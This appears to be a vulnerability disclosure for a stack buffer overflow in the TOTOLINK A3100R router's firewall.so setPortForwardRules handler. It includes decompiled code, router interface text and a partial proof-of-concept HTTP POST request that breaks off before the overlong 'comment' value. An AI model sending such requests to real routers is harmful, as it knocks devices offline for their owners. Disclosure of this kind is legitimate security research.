

master ▾

...

IOT / TOTOLINK A3100R / 3.md



shijin0925 totolink

History

1 contributor



58 lines (33 sloc) | 3.56 KB

...

# firewall.so setPortForwardRules stack buffer overflow

## A3100R\_Firmware

version:V4.1.2cu.5050\_B20200504, V4.1.2cu.5247\_B20211129







### Description:

The setPortForwardRules function in the firewall.so module does not filter the "comment" parameter, and a stack overflow occurs when strcpy is performed

### Source:

you may download it from :

[https://www.totolink.net/home/menu/detail/menu\\_listtpl/download/id/170/ids/36.html](https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/170/ids/36.html)

1	A3100R_Datasheet	Ver1.0	2021-03-02	
2	A3100R_QIG	Ver1.0		
3	A3100R_Firmware	V5.9c.2280_B20180512		
4	A3100R_Firmware	V5.9c.4281_B20190816(Transition version)	2019-09-11	
5	A3100R_Firmware	V5.9c.4577_B20191021	2019-11-19	
6	A3100R_Firmware	V4.1.2cu.5050_B20200504	2020-07-28	
7	A3100R_Firmware	V4.1.2cu.5247_B20211129	2022-04-12	

## Analyse:

---

The program reads a user input named "comment" in users's POST request and uses the input immediately,without checking it's length ,which can lead to buffer overflows bugs in the following strcpy function.

**TOTO LINK**  
The Smartest Network Device

A3100R (Firmware V4.1.2cu.5050)

System Status

Operation Mode

Network

IPv6 Setting

5G Wireless

2.4G Wireless

QoS

**Firewall**

Firewall Type

IP/Port Filtering

MAC Filtering

URL Filtering

Port Forwarding

VPN Passthrough

DMZ

On/Off

Enable

Add a rule

Protocol

TCP+UDP

IP Address

1921680

Scan

Internal Port

(1-65535)

External Port

(1-65535)

Comment

Add

Current Port Forwarding List (The maximum entry count is 10)

ID	IP Address	Protocol	Internal Port	External Port	Comment	Select
1	192.168.0.222	TCP+UDP	11	12	aaaa	<input type="checkbox"/>
2	192.168.0.223	TCP+UDP	14	16	aaaaaaaaaaaaaaaaaaaaa	<input type="checkbox"/>

```
23 v11 = (const char *)websGetVar(a2, "wanPortTo", "");
24 nptr = (char *)websGetVar(a2, "lanPortFrom", "");
25 v17 = (char *)websGetVar(a2, "lanPortTo", "");
26 v12 = (const char *)websGetVar(a2, "protocol", "");
27 v13 = (const char *)websGetVar(a2, "comment", "");
28 memset(v16, 0, 0x4Au);
29 if ( v7 )

52     return result;
53     LOBYTE(v16[3].s_addr) = 3;
54 }
55 strcpy((char *)&v16[11], v13);
56 apmib_set(131188, v16);
57 apmib_set(65649, v16);
58 }
```

So by Posting proper data to topicurl:"setting/setPortForwardRules",the attacker can easily perform a Deny of service Attack.

## POC

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
```

```
Host: 192.168.0.1
```

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:98.0) Gecko/20100101  
Firefox/98.0

Accept: \*/\*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 196

Origin: http://192.168.0.1

Connection: close

Referer: http://192.168.0.1/firewall/port\_forward.asp?timestamp=1650003621281

Cookie: SESSION\_ID=2:1650003464:2

{"topicurl":"setting/setPortForwardRules","ipAddress":"192.168.0.223","wanPortFrom":

